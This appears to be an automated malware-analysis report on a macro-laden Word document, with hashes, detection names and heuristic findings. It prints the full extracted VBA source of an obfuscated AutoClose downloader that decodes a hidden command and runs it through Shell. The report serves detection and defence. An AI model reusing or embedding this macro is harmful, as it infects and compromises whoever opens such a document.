Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bcdefbeb609a3d83…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 113920d295806c64d572d3fdfdcde155 SHA-1: 7eed79144d9d22e809bb7242e38fe47f5bbae44d SHA-256: bcdefbeb609a3d839518b3fe9d77b138e4b8a7f3208e963650a5a2aac6373e25
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and configured to execute a shell command via the Shell() function. This indicates the document is designed to download and execute a second-stage payload upon opening. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2065 bytes
SHA-256: c2d914e523355443f5c89d8d1040795c30c87f9fdd857ef92baa469462d3a738
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  findability = Array("O", "8", "m", "F", "B", "r", "L", "c", "L", "g", "m", "F", "F", "D", "n", "7", "7", "p", "M", "s", "C", "p", "y", "M", "5", "x", "p", "y", "s", "p", "m", "y", "L", "y", "r", "T", "d", "O", "7", "q", "0", "7", "8", "C", "H", "c", "r", "D", "m", "D", "o", "5", "F", "O", "B", "Q", "M", "d", "x")
  inarculum = umbraculiform(findability)
  
  Application.Run "monopoly", (inarculum)
  
End Sub


Private Sub monopoly(procreations)
   
   highly = 6162
   whirlpool = True
   
   While whirlpool
     stranglingly = highly + 222
     If stranglingly - highly > 111 Then
       VBA.Shell procreations, vbNormalFocus - 1
       whirlpool = False
      End If
     
   Wend

End Sub


Public Function dictynid(colas, diaphonia)

  unmartyr = 9090
  lickator = -1
  For Each contrasted In diaphonia
    If contrasted = colas Then
     unmartyr = lickator
     Exit For
    End If

    lickator = lickator + 1
    
  Next

  
  If unmartyr = 9090 Then
    unmartyr = -1
  End If


  dictynid = unmartyr + 1
End Function

Private Function umbraculiform(findability)
  constructionally = Array("g", "x", "n", "p", "5", "Q", "0", "T", "c", "D", "O", "F", "M", "H", "m", "r", "7", "C", "B", "8", "L", "s", "y", "d", "q", "o")
  pinelands = Array(" ", "n", ":", "q", "u", "=", "A", "c", "x", "p", "m", "t", "d", "k", "h", ".", "/", "j", "a", "s", "e", "i", "w", "o", "N", "?")
  
  drudged = vbNullString
  
  For Each duffel In findability
    redissolves = Application.Run("dictynid", duffel, constructionally)
    If redissolves > -1 And redissolves < 8080 Then
    drudged = pinelands(redissolves) + drudged
    End If
  Next
  
  umbraculiform = StrReverse(drudged)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 5dec0df2aff0570cb09e526cb5ab13cf736548827c178c09636ac309cb12249a
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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